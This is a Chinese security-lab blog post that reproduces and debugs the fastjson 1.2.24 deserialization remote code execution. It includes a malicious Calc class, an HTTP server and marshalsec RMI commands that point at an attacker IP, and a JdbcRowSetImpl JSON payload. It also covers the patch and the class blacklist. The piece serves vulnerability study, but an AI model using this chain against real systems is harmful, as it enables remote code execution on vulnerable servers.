出品|MS08067实验室(www.ms08067.com)

本文作者:爱吃芝士的小葵(Ms08067实验室追洞小组成员)

1、靶场搭建

2、漏洞复现

3、漏洞分析

4、漏洞修复

5、心得

靶场搭建

使用idea maven项目创建,在pom中导入fastjson的坐标。(因为本文复现1.2.24的rce,所以版本要小于1.2.24,本文采 取1.2.23版本坐标)。

导入之后在右边点击maven图标导入。

**坑点

其中环境有一个非常细小的点,可以说是个大坑,我调试了很久,之前的报错如下:

1、rmi+jndi环境:java.sql.SQLException: JdbcRowSet (连接) JNDI 无法连接 2、ldap+jndi环境:java.lang.ClassCastException: javax.naming.Reference cannot be cast to javax.sql.DataSource

后来才发现是java的环境没有配置对,虽然都是jdk1.8,但是复现的环境采用1.8.0_102,之前的环境1.8.0_221没有复现成 功。因为JDK 8u113 之后,系统属性 com.sun.jndi.rmi.object.trustURLCodebase 、 com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许RMI、cosnaming从远程的 Codebase加载Reference工厂类。

漏洞复现

一、准备被远程下载的class文件

这边简单弹个计算器,也可以反弹shell

package com.v1rus;

public class Calc{
public Calc(){
try{
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Calc c = new Calc();
}
}

命令行输入 javac Calc.java ,在当前文件夹下会生成Calc.class文件。

二、 http服务

可以简单的用python3在当前Calc.class文件的文件夹下起http服务

python -m http.server 8088

三、RMI服务

使用marshalsec起rmi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.249.156:8088/#Calc" 8

漏洞分析

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

首先放上服务端使用的poc demo:

package com.v1rus;
import com.alibaba.fastjson.JSON;
public class Test {
public static void main(String[] args) {
String v1rus = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://192.168.249.15
JSON.parseObject(v1rus);
}
}

一、熟悉fastjson工作流程

我们的poc中用到的类是

com.sun.rowset.JdbcRowSetImpl

Exception in thread "main" com.alibaba.fastjson.JSONException: set property error, autoCommit
at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:131)
at com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer.parseField(DefaultFieldDeserializer.j
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField(JavaBeanDeserializer.java:722)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:568)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:877)
at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze(Unknown So
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:183)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:368)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)
at com.alibaba.fastjson.JSON.parse(JSON.java:137) at com.alibaba.fastjson.JSON.parse(JSON.java:128)
at com.alibaba.fastjson.JSON.parseObject(JSON.java:201) at com.v1rus.Test.main(Test.java:8)

我们直接进入 com.alibaba.fastjson.JSON 这个类中,并在parseObject函数上面下断点。

最后会跟到这个方法上。通过DefaultJSONParser类去parse我们传入的字符串

跟进74行的parse代码。这里是根据JSONLexer的token为12到case的判断,进入关键函数

根据lexer.token()方法返回token的值,这里是12,所以进入else进行处理。

然后进入while(true)循环,第一步骤就是lexer.skipWhitespace,跟进去查看方法

因而返回的是 “ 号,所以可以进入if判断,根据变量名我们也可以得知,scanSymbol这个方法返回的是key关键字。

(key、value对)

大家可以简单的跟进

com.alibaba.fastjson.parser.JSONLexerBase#scanSymbol

这个函数走一下流程,最后会通过双引号的闭合判断来返回value字符串,这边返回的就是第一个字符串 @type

继续往下走到了这里,将key和全局静态常量作比较看是否为 @type ,如果是的话,进入if判断。

跟进 com.alibaba.fastjson.util#loadClass ,这里面并没有做什么黑名单的过滤就讲这个类对象返回了。

上面那行代码,跟进分析

判断是类名返回

跟进方法分析返回

FastJsonASMDeserializer_1_JdbcRowSetImpl

再跟进deserialze后继续往下调试,进入setDataSourceName方法,将dataSourceName值设置为目标RMI服务的地址

一路跟到parseField方法

调用smartMatch方法来处理我们传入的key值,跟进这个方法

之后回跟到

((FieldDeserializer)fieldDeserializer).parseField(parser, object, objectType, fieldValues);这行代码,进入FieldDeserializer的parseField方法。进行一些Field的赋值操作。

再跟进

com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue方法,根据fieldInfo.fieldClass判断该类,最后进入箭头指向的else体,通过反射调用setAutoCommit关键方法。嘿嘿,接下来不是为所欲为。

这个jdk自带的类必须要先获得一个connection,如果没有的话先执行connect方法。我们进去看看里面有什么。

因为我们在前面通过setDataSourceName()方法设置了dataSourceName的值,所以进入esle if通过lookup方法去获取dataSource。而rmi(java远程方法调用机制)的主角就是这个方法,如果lookup里面传入的参数可控,就可以指向我们所构造的rmi服务,那么就有很大的可能被攻击。(InitialContext 是一个实现了Context接口的类。使用这个类作为JNDI命名服务的入口点。)

这里也简单提一句JNDI和RMI关系,以便更好理解。简单来说,JNDI (Java Naming and Directory Interface)是一组应用程序接口。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。JNDI接口在初始化时,可以将RMI URL作为参数传入,而JNDI注入就出现在客户端的lookup()函数中。

用referenceWrapper包装reference类,注册在jndi的rmi服务实现上,这里rmi服务器绑定的类并没有实现相应的接口,而是通过Refernces类来绑定过一个外部的远程对象。(这里先提及一下,后面会详细说明)一路跟进到这个最终的方法,该方法执行完就会加载完远程类实现rce。可以看到这里的var3是RegistryContext类,调用lookup函数。

跟进去时候传入的这个参数是Calc也就是/后面的请求文件,不为空之后调用this.registry(RegistryImpl_Stub,stub和skel的概念是相对而言的,并不只存在于服务端和客户端之间)的lookup方法,是我们可控的,所以就造成了JNDI注入漏洞。

继续跟进marshelsec可能会出现这样的错误:

java.net.SocketTimeoutException: Read timed out
at java.net.SocketInputStream.socketRead0(Native Method)
at java.net.SocketInputStream.socketRead(Unknown Source)
at java.net.SocketInputStream.read(Unknown Source)
at java.net.SocketInputStream.read(Unknown Source)
at java.io.BufferedInputStream.fill(Unknown Source)
at java.io.BufferedInputStream.read(Unknown Source)
at java.io.FilterInputStream.read(Unknown Source)
at marshalsec.jndi.RMIRefServer.doMessage(RMIRefServer.java:221)
at marshalsec.jndi.RMIRefServer.run(RMIRefServer.java:171)
at marshalsec.jndi.RMIRefServer.main(RMIRefServer.java:117)

原因是网络读取数据超时,我们跟进方法的同时加长的数据传输的时间,等待超时抛出错误。至此利用的部分已经结束。

疑惑

因为JNDI注入中RMI服务器最终执行远程方法,但是目标服务器lookup()一个恶意的RMI服务地址,反而是目标服务器执行了。那么究竟是什么原因?

在JNDI服务中,RMI服务端除了直接绑定远程对象之外,还可以通过Reference类来绑定一个外部的远程对象(当前名称目录系统之外的对象)。绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。

简而言之,在Server绑定Reference时,这个恶意对象是不在Server上的,Reference指向某个地址,Client会去这个地址

取出对象并在Client实例化。

总结

攻击者准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口向攻击者控制web服务器远程加载恶意代码,执行构造函数造成RCE。

漏洞修复

从1.2.25开始对这个漏洞进行了修补,修补方式是会在com.alibaba.fastjson.parser.DefaultJSONParser#parseObject方法中调用 com.alibaba.fastjson.parser.ParserConfig#checkAutoType来检查我们传入的类是不是在黑名单中,也就是将TypeUtils.loadClass替换为checkAutoType()函数:

只有通过了白名单的校验才会调用loadClass。

但是这里同时使用白名单和黑名单的方式来限制反序列化的类,只有当白名单不通过时才会进行黑名单判断,相当于白名单并没有真正起到白名单的作用。我们仍然可以进入后续的流程来进行绕过。

黑名单里面禁止了一些常见的反序列化漏洞利用链:

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

心得

1、 Fastjson主要还是利用了autotype功能实现"@type"字段指定反序列化的Class类型,所以尽量关闭autotype就没有问题。虽然Fastjson在1.2.24之后实现了一套黑名单,但还是存在被绕过风险。

2、 rmi在fastjson中的利用只是jndi的一种手段,还有ldap等。是在rmi服务器上绑定reference对象,与rmi本身的反序列话不是很有关系。它将从攻击者控制的服务器获取工厂类,然后实例化工厂以返回 JNDI所引用的对象的新实例。





转载请联系作者并注明出处!

Ms08067安全实验室专注于网络安全知识的普及和培训。团队已出版《Web安全攻防:渗透测试实战指南》,《内网安全攻防:渗透测试实战指南》,《Python安全攻防:渗透测试实战指南》,《Java代码安全审计(入门篇)》等书籍。

团队公众号定期分享关于CTF靶场、内网渗透、APT方面技术干货,从零开始、以实战落地为主,致力于做一个实用的干货分享型公众号。

官方网站:https://www.ms08067.com/

扫描下方二维码加入实验室VIP社区

加入后邀请加入内部VIP群,内部微信群永久有效!

追洞小组 | fastjson1.2.24复现+分析的更多相关文章

  1. 追洞小组 | 实战CVE-2020-7471漏洞

    出品|MS08067实验室(www.ms08067.com) 本文作者:守拙(Ms08067实验室追洞小组成员) 一.漏洞名称: 通过StringAgg(分隔符)的潜在SQL注入漏洞 二.漏洞编号: ...

  2. Fastjson1.2.24反序列化漏洞复现

    Fastjson1.2.24 目录 1. 环境简介 1.1 物理环境 1.2 网络环境 1.3 工具 1.4 流程 2. Docker+vulhub+fastjson1.2.24 2.1 Docker ...

  3. 路由器漏洞复现分析第三弹:DVRF INTRO题目分析

    这个项目的目的是来帮助人们学习X86_64之外其他架构环境,同时还帮助人们探索路由器固件里面的奥秘. 本文通过练习DVRF 中INTRO 部分的题目来学习下MIPS 结构下的各种内存攻击. DVRF: ...

  4. CVE-2021-3129:Laravel远程代码漏洞复现分析

    摘要:本文主要为大家带来CVE-2021-3129漏洞复现分析,为大家在日常工作中提供帮助. 本文分享自华为云社区<CVE-2021-3129 分析>,作者:Xuuuu . CVE-202 ...

  5. CVE-2020-7961 Liferay Portal 复现分析

    漏洞说明: Liferay是一个开源的Portal(认证)产品,提供对多个独立系统的内容集成,为企业信息.流程等的整合提供了一套完整的解决方案,和其他商业产品相比,Liferay有着很多优良的特性,而 ...

  6. ref:spring-data-XMLBean XXE复现分析

    ref:https://blog.spoock.com/2018/05/16/cve-2018-1259/ 漏洞信息 看pivotal发布的漏洞信息如下 通过发布的漏洞信息可以知道,漏洞组件是在XML ...

  7. 路由器漏洞复现分析第二弹:CNVD-2018-01084

    1月17日,CNVD公开了D-LinkDIR 615/645/815 service.cgi远程命令执行漏洞(CNVD-2018-01084),freebuf上有前辈写了一篇漏洞复现和poc的文章(h ...

  8. Wordpress4.9.6 任意文件删除漏洞复现分析

    第一章 漏洞简介及危害分析 1.1漏洞介绍 WordPress可以说是当今最受欢迎的(我想说没有之一)基于PHP的开源CMS,其目前的全球用户高达数百万,并拥有超过4600万次的超高下载量.它是一个开 ...

  9. java反序列化——apache-shiro复现分析

    本文首发于“合天智汇”公众号 作者:Fortheone 看了好久的文章才开始分析调试java的cc链,这个链算是java反序列化漏洞里的基础了.分析调试的shiro也是直接使用了cc链.首先先了解一些 ...

随机推荐

  1. .net面试--值类型和引用类型

    注:下面的示意图主要是为了辅助理解,不代表内存真实情况. Introduction 类型基础是C#的基础概念,了解类型基础及背后的工作原理更有助于我们在编码的时候明白数据在内存中的分配与传递.C#提供 ...

  2. OpenStack Train版-1.安装基础环境&服务

    1. 服务组件的密码 密码名称 描述 ADMIN_PASS admin用户密码 CINDER_DBPASS 块设备存储服务的数据库密码 CINDER_PASS 块设备存储服务的 cinder 密码 D ...

  3. spring-cloud-netflix-eureka-client

    服务注册中心eureka-server已经搭好,我们开始编写一个eureka-client,并提供一个hello服务 一.新建module,选择对应的springcloud模块,pom.xml如下: ...

  4. 2019牛客多校第九场B Quadratic equation(二次剩余定理)题解

    题意: 传送门 已知\(0 <= x <= y < p, p = 1e9 + 7\)且有 \((x+y) = b\mod p\) \((x\times y)=c\mod p\) 求解 ...

  5. codevs1154能量项链 环形区间DP 细节

    中文题..题意略 我们知道每次枚举最后合并哪两个.. 于是枚举中间节点k 我犯的错误是将转移方程写成了,dp[l][r]=max(dp[l][r],dp[l][k]+dp[k+1][r]+a[l]*a ...

  6. markdown table collapse span

    markdown table collapse span refs xgqfrms 2012-2020 www.cnblogs.com 发布文章使用:只允许注册用户才可以访问! 原创文章,版权所有️x ...

  7. 慕课网站 & MOOC website

    慕课网站 & MOOC website MOOC, massive open online course Mooc for everyone ! 国家精品课程 & 在线学习平台 慕课平 ...

  8. 2016 JS 笔试题汇总:

    1 1 1 CS&S(中软国际): 1 JavaScript 循环表达式: 2  JavaScript表达式boolean返回值: 3 网页中的事件/HTML 事件属性/JavaScript ...

  9. webpack 5 模块联合

    webpack 5 模块联合 webpack 5 https://webpack.docschina.org/concepts/module-federation/ https://github.co ...

  10. ASCII Art

    ASCII Art https://npms.io/search?q=ASCII art ASCII Art Text to ASCII Art Generator (TAAG) http://pat ...